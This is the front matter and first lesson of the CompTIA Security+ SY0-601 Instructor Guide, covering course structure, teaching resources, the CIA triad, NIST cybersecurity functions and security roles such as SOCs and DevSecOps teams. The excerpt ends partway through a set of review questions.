The Official

CompTIA
Security+
Instructor Guide
(Exam SY0-601)
 Course Edition: 1.0

Acknowledgments

James Pengelly, Author

Thomas Reilly, Vice President, Learning
Katie Hoenicke, Director of Product Management
Evan Burns, Senior Manager, Learning Technology Operations and Implementation
James Chesterfield, Manager, Learning Content and Design
Becky Mann, Senior Manager, Product Development
Katherine Keyes, Content Specialist

Notices
Disclaimer
While CompTIA, Inc., takes care to ensure the accuracy and quality of these materials, we cannot guarantee their accuracy,
and all materials are provided without any warranty whatsoever, including, but not limited to, the implied warranties of
merchantability or fitness for a particular purpose. The use of screenshots, photographs of another entity's products, or
another entity's product name or service in this book is for editorial purposes only. No such use should be construed to imply
sponsorship or endorsement of the book by nor any affiliation of such entity with CompTIA. This courseware may contain links
to sites on the Internet that are owned and operated by third parties (the "External Sites"). CompTIA is not responsible for
the availability of, or the content located on or through, any External Site. Please contact CompTIA if you have any concerns
regarding such links or External Sites.

Trademark Notice
CompTIA®, Security+®, and the CompTIA logo are registered trademarks of CompTIA, Inc., in the U.S. and other countries.
All other product and service names used may be common law or registered trademarks of their respective proprietors.

Copyright Notice
Copyright © 2020 CompTIA, Inc. All rights reserved. Screenshots used for illustrative purposes are the property of the software
proprietor. Except as permitted under the Copyright Act of 1976, no part of this publication may be reproduced or distributed
in any form or by any means, or stored in a database or retrieval system, without the prior written permission of CompTIA,
3500 Lacey Road, Suite 100, Downers Grove, IL 60515-5439.
This book conveys no rights in the software or other products about which it was written; all use or licensing of such software
or other products is the responsibility of the user according to terms and conditions of the owner. If you believe that this
book, related materials, or any other CompTIA materials are being reproduced or transmitted without permission, please call
1-866-835-8020 or visit https://help.comptia.org.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Table of Contents | iii

Table of Contents

Lesson 1: Comparing Security Roles and Security Controls......................................... 1

Topic 1A: Compare and Contrast Information Security Roles........................... 2

Topic 1B: Compare and Contrast Security Control and Framework Types...... 8

Lesson 2: Explaining Threat Actors and Threat Intelligence..................................... 17

Topic 2A: Explain Threat Actor Types and Attack Vectors............................... 18

Topic 2B: Explain Threat Intelligence Sources................................................... 25

Lesson 3: Performing Security Assessments............................................................... 35

Topic 3A: Assess Organizational Security with Network

Reconnaissance Tools...................................................................................... 36

Topic 3B: Explain Security Concerns with General Vulnerability Types......... 50

Topic 3C: Summarize Vulnerability Scanning Techniques............................... 57

Topic 3D: Explain Penetration Testing Concepts............................................... 67

Lesson 4: Identifying Social Engineering and Malware.............................................. 73

Topic 4A: Compare and Contrast Social Engineering Techniques................... 74

Topic 4B: Analyze Indicators of Malware-Based Attacks................................. 82

Lesson 5: Summarizing Basic Cryptographic Concepts.............................................. 95

Topic 5A: Compare and Contrast Cryptographic Ciphers................................. 96

Topic 5B: Summarize Cryptographic Modes of Operation............................. 104

Topic 5C: Summarize Cryptographic Use Cases and Weaknesses................. 111

Topic 5D: Summarize Other Cryptographic Technologies.............................. 120

Lesson 6: Implementing Public Key Infrastructure.................................................. 125

Topic 6A: Implement Certificates and Certificate Authorities...................... 126

Topic 6B: Implement PKI Management............................................................ 137

Table of Contents

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 iv | Table of Contents

Lesson 7: Implementing Authentication Controls.................................................... 147

Topic 7A: Summarize Authentication Design Concepts................................. 148

Topic 7B: Implement Knowledge-Based Authentication................................ 154

Topic 7C: Implement Authentication Technologies........................................ 164

Topic 7D: Summarize Biometrics Authentication Concepts.......................... 172

Lesson 8: Implementing Identity and Account Management Controls.................. 179

Topic 8A: Implement Identity and Account Types.......................................... 180

Topic 8B: Implement Account Policies............................................................. 191

Topic 8C: Implement Authorization Solutions................................................. 199

Topic 8D: Explain the Importance of Personnel Policies................................ 208

Lesson 9: Implementing Secure Network Designs.................................................... 215

Topic 9A: Implement Secure Network Designs............................................... 216

Topic 9B: Implement Secure Switching and Routing...................................... 227

Topic 9C: Implement Secure Wireless Infrastructure..................................... 235

Topic 9D: Implement Load Balancers............................................................... 247

Lesson 10: Implementing Network Security Appliances.......................................... 255

Topic 10A: Implement Firewalls and Proxy Servers........................................ 256

Topic 10B: Implement Network Security Monitoring..................................... 268

Topic 10C: Summarize the Use of SIEM............................................................. 275

Lesson 11: Implementing Secure Network Protocols............................................... 283

Topic 11A: Implement Secure Network Operations Protocols...................... 284

Topic 11B: Implement Secure Application Protocols...................................... 292

Topic 11C: Implement Secure Remote Access Protocols................................ 301

Lesson 12: Implementing Host Security Solutions.................................................... 317

Topic 12A: Implement Secure Firmware.......................................................... 318

Topic 12B: Implement Endpoint Security......................................................... 325

Topic 12C: Explain Embedded System Security Implications......................... 331

Table of Contents

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Table of Contents | v

Lesson 13: Implementing Secure Mobile Solutions.................................................. 343

Topic 13A: Implement Mobile Device Management....................................... 344

Topic 13B: Implement Secure Mobile Device Connections............................ 356

Lesson 14: Summarizing Secure Application Concepts............................................ 365

Topic 14A: Analyze Indicators of Application Attacks.................................... 366

Topic 14B: Analyze Indicators of Web Application Attacks............................ 372

Topic 14C: Summarize Secure Coding Practices.............................................. 383

Topic 14D: Implement Secure Script Environments....................................... 390

Topic 14E: Summarize Deployment and Automation Concepts.................... 399

Lesson 15: Implementing Secure Cloud Solutions.................................................... 407

Topic 15A: Summarize Secure Cloud and Virtualization Services................. 408

Topic 15B: Apply Cloud Security Solutions....................................................... 418

Topic 15C: Summarize Infrastructure as Code Concepts............................... 429

Lesson 16: Explaining Data Privacy and Protection Concepts................................. 437

Topic 16A: Explain Privacy and Data Sensitivity Concepts............................. 438

Topic 16B: Explain Privacy and Data Protection Controls.............................. 447

Lesson 17: Performing Incident Response................................................................. 455

Topic 17A: Summarize Incident Response Procedures................................... 456

Topic 17B: Utilize Appropriate Data Sources for Incident Response............ 465

Topic 17C: Apply Mitigation Controls................................................................ 475

Lesson 18: Explaining Digital Forensics...................................................................... 483

Topic 18A: Explain Key Aspects of Digital Forensics Documentation........... 484

Topic 18B: Explain Key Aspects of Digital Forensics Evidence Acquisition..... 490

Lesson 19: Summarizing Risk Management Concepts............................................. 499

Topic 19A: Explain Risk Management Processes and Concepts.................... 500

Topic 19B: Explain Business Impact Analysis Concepts.................................. 508

Table of Contents

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 vi | Table of Contents

Lesson 20: Implementing Cybersecurity Resilience................................................. 515

Topic 20A: Implement Redundancy Strategies................................................ 516

Topic 20B: Implement Backup Strategies........................................................ 522

Topic 20C: Implement Cybersecurity Resiliency Strategies........................... 530

Lesson 21: Explaining Physical Security..................................................................... 539

Topic 21A: Explain the Importance of Physical Site Security Controls......... 540

Topic 21B: Explain the Importance of Physical Host Security Controls........ 548

Appendix A: Mapping Course Content to CompTIA Security+ (Exam SY0-601).......A-1

Glossary...........................................................................................................................G-1

Index �������������������������������������������������������������������������������������������������������������������������������� I-1

Table of Contents

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Using The Official CompTIA Security+
Instructor Guide (Exam SY0-601)
WELCOME TO THE INSTRUCTOR
The Official CompTIA Security+ Instructor and Student Guides (Exam SY0-601) have
been developed by CompTIA for the CompTIA certification candidate. Rigorously
evaluated by third-party subject matter experts to validate adequate coverage of the
Security+ exam objectives, The Official CompTIA Security+ Instructor and Student Guides
teach students the knowledge and skills required to assess the security posture of
an enterprise environment and recommend and implement appropriate security
solutions; monitor and secure hybrid environments, including cloud, mobile, and IoT;
operate with an awareness of applicable laws and policies, including principles of
governance, risk, and compliance; identify, analyze, and respond to security events and
incidents; and prepare candidates to take the CompTIA Security+ certification exam.
The Official CompTIA Security+ Guides are created around several core principles
including:
• Support the Modern Learner—The Official CompTIA Security+ Guides are
designed with the modern student and classroom in mind, ensuring success
whether the course format is co-located or remote, synchronous or asynchronous,
continuous or modular. Instructors will find best practices and recommendations
within the margin of their Instructor Guide specific to the various course formats.

• Focused on Job Roles and Objectives—Official CompTIA Guides are organized

into Courses, Lessons, and Topics that align training to work in the real world. At the
course level, the content reflects a real job role, guided by the objectives and content
examples in the CompTIA Exam Objectives document. Lessons refer to functional
areas within that job role. Topics within each lesson relate to discrete job tasks.

• Sound Instructional Design—The content within Topics is presented in an

instructional hierarchy that thoughtfully offers knowledge, procedural tasks, and
hands-on Activities that require that students put the knowledge they have gained
into practice. This approach keeps the student engaged, ensures success with the
learning outcomes, and reinforces the core concepts to ensure long term retention
of new ideas.

Preparing to Teach
The course covers the following themes:
• Threat intelligence and security assessment (Lessons 1-4).

• Cryptography and IAM (Lessons 5-8).

• Protecting network infrastructure (Lessons 9-12).

• Protecting applications and cloud services (Lessons 13-16).

• Incident response and risk management (Lessons 17-21).

In addition, incident response has been expanded and moved toward the end of the
course. In addition, physical/site security is now covered at the end of the course.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 viii | Instructor Preface

Easily Implemented in Classroom Environments

The content and resources in the Security+ SY0-601 course have been reworked to
make them more flexible to suit a variety of classroom formats, whether there are 5
days or 6 weeks to teach the material:
• Lengthy on-premise Lab Activities that require organizations to setup and
maintain equipment have been removed from the course. Instead, graded labs
(CertMaster Labs) are available hosted on the Learn on Demand Systems platform.
These modular labs require only a modern browser and internet connection, saving
organizations hours of setup time. Their short durations of 10-30 minutes allow
for labs to be more easily integrated in coursework. As a result, instructors will no
longer see the setup guide in the Instructor Resources.

• Reworked Presentation Tools: The number of PowerPoint lecture slides has been
vastly reduced as compared with SY0-501, while supporting PowerPoint notes and
Presentation Planners have been enhanced, making it easier for instructors to plan
lectures and use classroom time effectively.

Teaching Resources for Teaching

Tip
The CompTIA Learning Center is an intuitive online platform that provides access to the
A Teaching Tip icon
provides additional eBook and all accompanying resources to support The Official CompTIA curriculum. An
guidance and access key to the CompTIA Learning Center is delivered upon purchase of the print or
background that you eBook.
may want to utilize
during specific parts of • Instructor Tips: Throughout the Instructor Guide, you will see in the margins
the course, including various instructor-focused icons that provide suggestions, answers to problems, and
timings and emphasis. supplemental information for you, the instructor. The text under these icons is not
included in the Student Guide. These notes are also included in the notes section of
Interaction the instructor PowerPoint deck for easy reference while teaching.
Opportunity
An Interaction • Resources: Supporting materials for instructors are available for downloading from
Opportunity provides the Resources menu. In addition to course-specific delivery tips, and solutions to
suggestions for different activities and discussion questions, instructors also have access to:
ways to engage with
students, either through • PowerPoint Slides: A complete set of PowerPoint slides is provided to facilitate
discussions, activities, the class, including lists, tables, diagrams, illustrations, and annotated screens, as
or demonstrations. well as Activity summaries.
Show Slide(s) • Presentation Planners: Several Presentation Planners are provided in the
Resources menu. The Planners help the instructor plan the class schedule and
The Show Slide icon include examples of schedules for different course lengths, whether courses are
provides a prompt to continuous or offered separately across a multisession series.
display a specific slide
from the provided • Transition Guide: A detailed guide with information on how the exam objectives
PowerPoint files. and training content have changed from SY0-501 to SY0-601.

• Videos: Videos complement the reading by providing short, engaging

demonstrations of key activities in the course.

• Assessments: Practice questions help to verify a student’s understanding of

the material for each Lesson. Answers and feedback can be reviewed after each
question, or at the end of the assessment. A timed Final Assessment provides a
practice-test-like experience to help students determine their readiness for the
CompTIA certification exam. Students can review correct answers and full feedback
after attempting the Final Assessment.

The CompTIA Learning Center can be accessed at learn.comptia.org.

Using The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Instructor Preface | ix

CertMaster Labs
CertMaster Labs allow students to learn in actual software applications through a
remote lab environment. The labs align with The Official CompTIA Instructor and Student
Guides and allow students to practice what they are learning using real, hands-on
experiences. All lab activities include gradable assessments, offer feedback and hints,
and provide a score based on learner inputs. Students have access to the software
environment for 12 months after they redeem their access key, providing a fantastic
resource for students to practice their skills. Features of CertMaster Labs include:
• Browser-based – The labs can be accessed with a browser and internet connection,
making the setup process easy and enabling remote students to use the materials
without having to secure any special equipment or software.

• Use Real Equipment and Software – The labs use virtual machines configured
with actual software applications and operating systems allowing for flexibility in
approaching the lab tasks and replicating the experience students will encounter in
a job role.

• Graded Labs – Lab activities will more accurately assess a student’s ability to
perform tasks (because they will get a score on their work) and will surface that
information to instructors.

• Modular – The labs within each course are independent of each other and can be
used in any order.

• Designed for Skills Development – The labs help students gain experience
with the practical tasks that will be expected of them in a job role and on the
performance-based items found on CompTIA certification exams.

• Aligned with Official CompTIA Content – The labs are based on the content within
The Official CompTIA Instructor and Student Guides, providing a consistent and
seamless experience for students to both gain knowledge and practice skills

• Ability to Save Work – Students can save their work in labs for 48 hours to allow
for more flexibility in how labs are implemented in coursework.

Lab Activities
Hands-on activities have been redesigned to take advantage of the virtual environment.
All lab activities include gradable assessments, offer feedback and hints, and provide a
score based on learner inputs. There are two types of labs:
• Assisted Labs provide detailed steps with graded assessment and feedback for the
completion of each task. These labs are shorter, focus on a specific task and typically
take 10-15 minutes to complete.

• Applied Labs are longer activities that provide a series of goal-oriented scenarios
with graded assessment and feedback based on a learner’s ability to complete each
goal successfully. Applied labs are typically 30-45 minutes long and cover multiple
tasks a student has learned over the course of several lessons.

Find more information about CertMaster Labs and how to purchase them at
store.comptia.org.

Presentation Planners
Within the instructional design hierarchy, the course structure tries to follow the
exam objectives domain structure as far as possible, but some objectives and content
examples are split between multiple lessons and topics so as to make the topics flow

Using The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 x | Instructor Preface

better and to eliminate duplications. The course is designed to be as modular as

possible, so that you can use the content as flexibly as you wish.
Presentation planners are available to download from the CompTIA Learning Center
on the Resources page. Because the content can be presented in a continuous flow
or separately across a multisession series, several sample timetables are provided.
You can use these sample planners to determine how you will conduct the class to
meet the needs of your own situation. A presentation planner helps you to structure
the course by indicating the maximum amount of time you should spend on any one
topic or activity. You will need to adjust these timings to suit your audience. Your
presentation timing and flow may vary based on factors such as the size of the class,
whether students are in specialized job roles, whether you plan to incorporate videos
or other assets from the CompTIA Learning Center into the course, and so on.
With the latest revision of the certification exams and corresponding exam objectives,
a significant amount of new content has been added to this edition of the course. You
might need to employ time-saving techniques. Detailed notes are provided as Teaching
Tips at the start of each lesson and topic, but consider the following general time-
saving strategies:
• Some topics will require more detailed presentation, with use of the slide deck.
Others, such as those that are well-covered by prerequisite certifications, would
suit a less formal style where you use questioning and lead a discussion to check
students‘ existing understanding. Some topics may be suitable for self-study, but
if students have concerns about this, you will have to reduce the amount of lab
activities to compensate.

• Ask participants to preread some of the content as "homework" to reduce class time
spent on that topic.

• Summarize a topic in overview, and then answer questions during a later session
when students have had a chance to study it in more detail.

• Consider a lab-first approach to selected topics, referring students to the study

content for review later.

If students are struggling with lab activities, consider some of the following approaches:
• Demonstrate a lab as a walkthrough.

• Get students to partner up to complete a lab, with one student completing the steps
and the other student advising and checking.

• Summarize the remaining parts of a lab if students do not have time to finish in
class.

Using The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 About This Course
CompTIA is a not-for-profit trade association with the purpose of advancing the Teaching
interests of IT professionals and IT channel organizations and its industry-leading IT Tip
certifications are an important part of that mission. CompTIA's Security+ certification is Take some time at the
a foundation-level certificate designed for IT administrators with two years' experience start of the course for
whose job role is focused on system security. students to introduce
themselves and
The CompTIA Security+ exam will certify the successful candidate has the knowledge identify the outcomes
and skills required to assist with cybersecurity duties in small and large organizations. they hope to achieve
These duties include assessments and monitoring; secure network, host, app, and by studying the
cloud provisioning; data governance; and incident analysis and response. course.

CompTIA Security+ is the first security certification IT professionals should earn. It

establishes the core knowledge required of any cybersecurity role and provides a
springboard to intermediate-level cybersecurity jobs. Security+ incorporates best
practices in hands-on troubleshooting to ensure security professionals have practical
security problem-solving skills. Cybersecurity professionals with Security+ know how to
address security incidents—not just identify them.
Security+ is compliant with ISO 17024 standards and approved by the US DoD to meet
directive 8140/8570.01-M requirements. Regulators and government rely on ANSI
accreditation because it provides confidence and trust in the outputs of an accredited
program.
comptia.org/certifications/security

Course Description
Course Objectives
This course can benefit you in two ways. If you intend to pass the CompTIA Security+
(Exam SY0-601) certification examination, this course can be a significant part of your
preparation. But certification is not the only key to professional success in the field of
computer security. Today's job market demands individuals with demonstrable skills,
and the information and activities in this course can help you build your cybersecurity
skill set so that you can confidently perform your duties in any entry-level security role.
On course completion, you will be able to:
• Compare security roles and security controls

• Explain threat actors and threat intelligence

• Perform security assessments and identify social engineering attacks and malware
types

• Summarize basic cryptographic concepts and implement public key infrastructure

• Implement authentication controls

• Implement identity and account management controls

• Implement secure network designs, network security appliances, and secure

network protocols

• Implement host, embedded/Internet of Things, and mobile security solutions

• Implement secure cloud solutions

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 xii | Preface

• Explain data privacy and protection concepts

• Perform incident response and digital forensics

• Summarize risk management concepts and implement cybersecurity resilience

• Explain physical security

Target Student
The Official CompTIA Security+ Guide (Exam SY0-601) is the primary course you will need
to take if your job responsibilities include securing network services, devices, and data
confidentiality/privacy in your organization. You can take this course to prepare for the
CompTIA Security+ (Exam SY0-601) certification examination.

Prerequisites
• To ensure your success in this course, you should have basic Windows and Linux
administrator skills and the ability to implement fundamental networking appliances
and IP addressing concepts. CompTIA A+ and Network+ certifications, or equivalent
knowledge, and six to nine months' experience in networking, including configuring
security parameters, are strongly recommended.

The prerequisites for this course might differ significantly from the prerequisites for
the CompTIA certification exams. For the most up-to-date information about the exam
prerequisites, complete the form on this page: comptia.org/training/resources/exam-
objectives

How to Use the Study Notes

The following notes will help you understand how the course structure and
components are designed to support mastery of the competencies and tasks
associated with the target job roles and help you to prepare to take the certification
exam.

As You Learn
At the top level, this course is divided into lessons, each representing an area of
competency within the target job roles. Each lesson is composed of a number of topics.
A topic contains subjects that are related to a discrete job task, mapped to objectives
and content examples in the CompTIA exam objectives document. Rather than follow
the exam domains and objectives sequence, lessons and topics are arranged in order
of increasing proficiency. Each topic is intended to be studied within a short period
(typically 30 minutes at most). Each topic is concluded by one or more activities,
designed to help you to apply your understanding of the study notes to practical
scenarios and tasks.
Additional to the study content in the lessons, there is a glossary of the terms and
concepts used throughout the course. There is also an index to assist in locating
particular terminology, concepts, technologies, and tasks within the lesson and topic
content.

In many electronic versions of the book, you can click links on key words in the topic content
to move to the associated glossary definition, and on page references in the index to move
to that term in the content. To return to the previous location in the document after clicking
a link, use the appropriate functionality in your eBook viewing software.

About This Course

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Preface | xiii

Watch throughout the material for the following visual cues.

Student Icon Student Icon Descriptive Text

A Note provides additional information, guidance, or hints about a to-
pic or task.

A Caution note makes you aware of places where you need to be par-
ticularly careful with your actions, settings, or decisions so that you can
be sure to get the desired results of an activity or task.

As You Review
Any method of instruction is only as effective as the time and effort you, the student,
are willing to invest in it. In addition, some of the information that you learn in class
may not be important to you immediately, but it may become important later. For this
reason, we encourage you to spend some time reviewing the content of the course
after your time in the classroom.
Following the lesson content, you will find a table mapping the lessons and topics to
the exam domains, objectives, and content examples. You can use this as a checklist as
you prepare to take the exam, and review any content that you are uncertain about.

As a Reference
The organization and layout of this book make it an easy-to-use resource for future
reference. Guidelines can be used during class and as after-class references when
you're back on the job and need to refresh your understanding. Taking advantage of
the glossary, index, and table of contents, you can use this book as a first source of
definitions, background information, and summaries.

How to Use the CompTIA Learning Center

The CompTIA Learning Center is an intuitive online platform that provides access to the
eBook and all accompanying resources to support The Official CompTIA curriculum. An
access key to the CompTIA Learning Center is delivered upon purchase of the eBook.
Resources include:
• Online Reader: An interactive online reader provides the ability to search, highlight,
take notes, and bookmark passages in the eBook. Students can also access the
eBook through the CompTIA Learning Center eReader mobile app.

• Videos: Videos complement the reading by providing short, engaging

demonstrations of key activities in the course.

• Assessments: Practice questions help to verify a student’s understanding of

the material for each Lesson. Answers and feedback can be reviewed after each
question, or at the end of the assessment. A timed Final Assessment provides a
practice-test-like experience to help students determine their readiness for the
CompTIA certification exam. Students can review correct answers and full feedback
after attempting the Final Assessment.

• Strengths and Weaknesses Dashboard: The Strengths and Weaknesses

Dashboard provides you with a snapshot of your performance. Data flows into
the dashboard from your practice questions, final assessment scores, and your
indicated confidence levels throughout the course.

The CompTIA Learning Center can be accessed at learn.comptia.org.

About This Course

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 1
Comparing Security Roles and
Security Controls

LESSON INTRODUCTION Teaching

Tip
Security is an ongoing process that includes assessing requirements, setting up This lesson aims to
organizational security systems, hardening them, monitoring them, responding to establish the context
attacks in progress, and deterring attackers. As a security professional, it is important for the security
that you understand how the security function is implemented as departments or units role and introduce
and professional roles within different types of organizations. You must also be able to the concepts of
security controls and
explain the importance of compliance factors and best practice frameworks in driving
frameworks.
the selection of security controls.

Lesson Objectives
In this lesson, you will:
• Compare and contrast information security roles.

• Compare and contrast security control and framework types.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 2 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 1A
Compare and Contrast Information
Security Roles
Teaching EXAM OBJECTIVES COVERED
Tip This topic provides background information about the role of security professionals and
This topic introduces does not cover a specific exam objective.
the concept of
the CIA triad and
discusses roles and To be successful and credible as a security professional, you should understand
responsibilities in security in business starting from the ground up. You should also know the key security
typical information terms and ideas used by other security experts in technical documents and in trade
security teams. This
publications. Security implementations are constructed from fundamental building
topic does not align
to specific objectives, blocks, just like a large building is constructed from individual bricks. This topic will help
but it does cover you understand those building blocks so that you can use them as the foundation for
some terminology your security career.
from the acronyms
list. You can skip this
topic if students are Information Security
familiar with these
basic concepts and Information security (or infosec) refers to the protection of data resources from
terminology and you unauthorized access, attack, theft, or damage. Data may be vulnerable because of
would prefer to move the way it is stored, the way it is transferred, or the way it is processed. The systems
quickly to covering used to store, transmit, and process data must demonstrate the properties of security.
syllabus content.
Secure information has three properties, often referred to as the CIA Triad:
Show Slide(s) • Confidentiality means that certain information should only be known to certain
people.
Information Security
• Integrity means that the data is stored and transferred as intended and that any
Teaching modification is authorized.
Tip
• Availability means that information is accessible to those authorized to view or
Make sure that
students can
modify it.
differentiate the
goals of providing
The triad can also be referred to as "AIC" to avoid confusion with the Central Intelligence
confidentiality,
integrity, and
Agency.
availability (and non-
repudiation). Note
that the property of
availability should not Some security models and researchers identify other properties that secure systems
be overlooked. should exhibit. The most important of these is non-repudiation. Non-repudiation
An alternative means that a subject cannot deny doing something, such as creating, modifying, or
acronym is sending a resource. For example, a legal document, such as a will, must usually be
PAIN (Privacy, witnessed when it is signed. If there is a dispute about whether the document was
Authentication, correctly executed, the witness can provide evidence that it was.
Integrity, Non-
Repudiation). We will
discuss security versus
privacy later in the
course.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 3

Cybersecurity Framework Show Slide(s)

Within the goal of ensuring information security, cybersecurity refers specifically Cybersecurity
to provisioning secure processing hardware and software. Information security Framework
and cybersecurity tasks can be classified as five functions, following the framework
developed by the National Institute of Standards and Technology (NIST) (nist.gov/ Teaching
cyberframework/online-learning/five-functions): Tip
Use these functions
• Identify—develop security policies and capabilities. Evaluate risks, threats, and
to give students
vulnerabilities and recommend security controls to mitigate them. an overview of
typical cybersecurity
• Protect—procure/develop, install, operate, and decommission IT hardware and operations.
software assets with security as an embedded requirement of every stage of this Make sure students
operations life cycle. are familiar with the
work of NIST. Note
• Detect—perform ongoing, proactive monitoring to ensure that controls are effective also that links in the
and capable of protecting against new types of threats. course will often
include sites and
• Respond—identify, analyze, contain, and eradicate threats to systems and data white papers with
security. considerable amounts
of additional detail.
• Recover—implement cybersecurity resilience to restore systems and data if other This detail is not
controls are unable to prevent attacks. necessary to learn for
the exam.
Start to develop
the idea that
cybersecurity is
adversarial in nature,
with threat actors
continually seeking
new advantages over
defensive systems.

Core cybersecurity tasks.

Show Slide(s)

Information Security Competencies Information Security

Competencies
IT professionals working in a role with security responsibilities must be competent in
a wide range of disciplines, from network and application design to procurement and
Interaction
human resources (HR). The following activities might be typical of such a role:
Opportunity
• Participate in risk assessments and testing of security systems and make If appropriate,
recommendations. ask students what
security-relevant
• Specify, source, install, and configure secure devices and software. duties they have
in their current
• Set up and maintain document access control and user privilege profiles. employment.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 4 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Monitor audit logs, review user privileges, and document access controls.

• Manage security-related incident response and reporting.

• Create and test business continuity and disaster recovery plans and procedures.

• Participate in security training and education programs.

Show Slide(s) Information Security Roles and Responsibilities

Information
A security policy is a formalized statement that defines how security will be
Security Roles and implemented within an organization. It describes the means the organization will
Responsibilities take to protect the confidentiality, availability, and integrity of sensitive data and
resources. It often consists of multiple individual policies. The implementation of a
Interaction security policy to support the goals of the CIA triad might be very different for a school,
Opportunity a multinational accountancy firm, or a machine tool manufacturer. However, each of
Discuss how these organizations, or any other organization (in any sector of the economy, whether
responsibility for profit-making or non-profit-making) should have the same interest in ensuring that its
security might need employees, equipment, and data are secure against attack or damage.
to be clarified when
there is a specialist As part of the process of adopting an effective organizational security posture,
security function employees must be aware of their responsibilities. The structure of security
combining with the responsibilities will depend on the size and hierarchy of an organization, but these
responsibilities of
roles are typical.
different department
managers. • Overall internal responsibility for security might be allocated to a dedicated
department, run by a Director of Security, Chief Security Officer (CSO), or Chief
Information Security Officer (CISO). Historically, responsibility for security
might have been allocated to an existing business unit, such as Information and
Communications Technology (ICT) or accounting.

However, the goals of a network manager are not always well-aligned with the
goals of security; network management focuses on availability over confidentiality.
Consequently, security is increasingly thought of as a dedicated function or business
unit with its own management structure.

• Managers may have responsibility for a domain, such as building control, ICT, or
accounting.

• Technical and specialist staff have responsibility for implementing, maintaining, and
monitoring the policy. Security might be made a core competency of systems and
network administrators, or there may be dedicated security administrators. One
such job title is Information Systems Security Officer (ISSO).

• Non-technical staff have the responsibility of complying with policy and with any
relevant legislation.

• External responsibility for security (due care or liability) lies mainly with directors
or owners, though again it is important to note that all employees share some
measure of responsibility.

NIST's National Initiative for Cybersecurity Education (NICE) categorizes job tasks and job
roles within the cybersecurity industry (gov/itl/applied-cybersecurity/nice/nice-framework-
resource-center).

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 5

Information Security Business Units Show Slide(s)

The following units are ofen used to represent the security function within the Information Security
organizational hierarchy. Business Units

Security Operations Center (SOC) Teaching

Tip
A security operations center (SOC) is a location where security professionals
Students should learn
monitor and protect critical information assets across other business functions, such this terminology,
as finance, operations, sales/marketing, and so on. Because SOCs can be difficult to drawn from the
establish, maintain, and finance, they are usually employed by larger corporations, like acronym list. Note
a government agency or a healthcare company. the advice in the
syllabus document:
"Candidates are
encouraged to review
the complete list
and attain a working
knowledge of all listed
acronyms as part of a
comprehensive exam
preparation program."

Interaction
Opportunity
If appropriate,
discuss how the
security function is
represented in the
students' workplaces.
Do any students
currently work in a
SOC or participate in
DevSecOps projects?

IBM Security Headquarters in Cambridge MA. (Image credit: John Mattern/Feature

Photo Service for IBM.)

DevSecOps
Network operations and use of cloud computing make ever-increasing use of
automation through software code. Traditionally, software code would be the
responsibility of a programming or development team. Separate development and
operations departments or teams can lead to silos, where each team does not work
effectively with the other.
Development and operations (DevOps) is a cultural shift within an organization to
encourage much more collaboration between developers and system administrators.
By creating a highly orchestrated environment, IT personnel and developers can build,
test, and release software faster and more reliably. Many consider a DevOps approach
to administration as the only way organizations can take full advantage of the potential
benefits offered by cloud service providers.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 6 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

DevSecOps extends the boundary to security specialists and personnel, reflecting

the principle that security is a primary consideration at every stage of software
development and deployment. This is also known as shift left, meaning that security
considerations need to be made during requirements and planning phases, not grafted
on at the end. The principle of DevSecOps recognizes this and shows that security
expertise must be embedded into any development project. Ancillary to this is the
recognition that security operations can be conceived of as software development
projects. Security tools can be automated through code. Consequently, security
operations need to take on developer expertise to improve detection and monitoring.

Incident Response
A dedicated cyber incident response team (CIRT)/computer security incident
response team (CSIRT)/computer emergency response team (CERT) as a single point-of-
contact for the notification of security incidents. This function might be handled by the
SOC or it might be established as an independent business unit.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 7

Review Activity:
Information Security Roles
Teaching
Answer the following questions:
Tip
You can either
complete the review
questions in class with
1. What are the properties of a secure information processing system? the students or simply
make them aware of
Confidentiality, Integrity, and Availability (and Non-repudiation). them as resources to
use as they review the
2. What term is used to describe the property of a secure network where a course material before
sender cannot deny having sent a message? the exam.

Non-repudiation.

3. A multinational company manages a large amount of valuable intellectual

property (IP) data, plus personal data for its customers and account holders.
What type of business unit can be used to manage such important and
complex security requirements?

A security operations center (SOC).

4. A business is expanding rapidly and the owner is worried about tensions

between its established IT and programming divisions. What type of security
